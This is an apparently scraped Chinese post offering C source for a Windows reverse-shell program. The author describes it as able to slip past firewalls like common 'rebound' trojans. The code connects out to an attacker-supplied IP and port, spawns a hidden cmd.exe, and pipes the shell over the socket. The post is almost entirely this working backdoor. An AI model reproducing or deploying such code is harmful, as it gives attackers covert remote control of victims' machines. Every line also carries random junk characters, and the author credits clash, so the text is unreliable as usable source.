这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V#2+"(7h
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/* ============================== 3oF45`3FV
Rebound port in Windows NT k9sh @ENy
By wind,2006/7 %KCyb
===============================*/ b|l:fT?&
#include dyz2.ZY~2
#include ;#g"(
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#pragma comment(lib,"wsock32.lib") kyR:[+je
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void OutputShell(); o |{5M|nD
SOCKET sClient; \tf<B\oa
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !`Fxa4i>
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void main(int argc,char **argv) [_R~%Yh+'E
{ ,k +IPkN+
WSADATA stWsaData; 5;tD"/nz
int nRet; x[FJgI'r
SOCKADDR_IN stSaiClient,stSaiServer; |s7s6k)mm
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if(argc != 3) >:74%D0UF
{ .5^cb%B*
printf("Useage:\n\rRebound DestIP DestPort\n"); hQ,ch[j'
return; Sj%u)#Ub
} e>} s;H,
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WSAStartup(MAKEWORD(2,2),&stWsaData); NO*u9YH?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,;EIh}
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stSaiClient.sin_family = AF_INET; zU5v /'h>d
stSaiClient.sin_port = htons(0); v> LIvi|]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]~Rho_mq#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {3|t;ZHk
{ E-T)*`e
printf("Bind Socket Failed!\n"); EuZ<quwWg
return; ?h$NAL?
} u0JB\)(-/h
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stSaiServer.sin_family = AF_INET; A!od9W6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 52@C9Q,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]i|h(>QWP
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +^` I?1\UF
{ QE^$=\l0
printf("Connect Error!"); 3lf=b~Zi)
return; Zd3S:),&
} 2Z+Wu3#
OutputShell(); xs{3pkTYD
} ]N~2 .h
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void OutputShell() 2i)^!c
{ bg!/%[ {M
char szBuff[1024]; bBiE
SECURITY_ATTRIBUTES stSecurityAttributes; JgxtlYjl
OSVERSIONINFO stOsversionInfo; \Z?9{J
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R|6Cv3:
STARTUPINFO stStartupInfo;
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char *szShell; tZ]?^_Y1
PROCESS_INFORMATION stProcessInformation; /
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unsigned long lBytesRead; P@,XEQRd`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b_$4V3TA
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i[O& )N,c
stSecurityAttributes.lpSecurityDescriptor = 0; 4zXFuTr($
stSecurityAttributes.bInheritHandle = TRUE; F|IAiE
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &yct!YOB2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {AhthR%(1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :,3C 0T3r
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nXaC3W:"
stStartupInfo.wShowWindow = SW_HIDE; 4n#M
stStartupInfo.hStdInput = hReadPipe; >f|||H}Snw
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); Q{O+
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switch(stOsversionInfo.dwPlatformId) )!3V/`I
{ M-$%Rzl_
case 1: lXx=But
szShell = "command.com"; L 8c0lx}Nn
break; sG(~^hJ_
default: 9Uh"iMB
szShell = "cmd.exe"; M=8.Bp|Ye
break; $|zX|
} j:Xq1f6a
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2% MC Yn
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send(sClient,szMsg,77,0); MOQ6:
while(1) U2ohHJ``
{ C+*d8_L
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1m'k|Ka
if(lBytesRead) "x#-sZ=
{ TeMHm?1^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2VPdw@"~}
send(sClient,szBuff,lBytesRead,0); ~Sdb_EZ
} pD8+ 4;A
else aacpM[{f
{ n|6Ic,:[
lBytesRead=recv(sClient,szBuff,1024,0); %gInje
if(lBytesRead<=0) break; /RG:W0=K
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2\)xpOj
} mWv3!i;G<s
} hM_lsc
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return; \/93Dz
}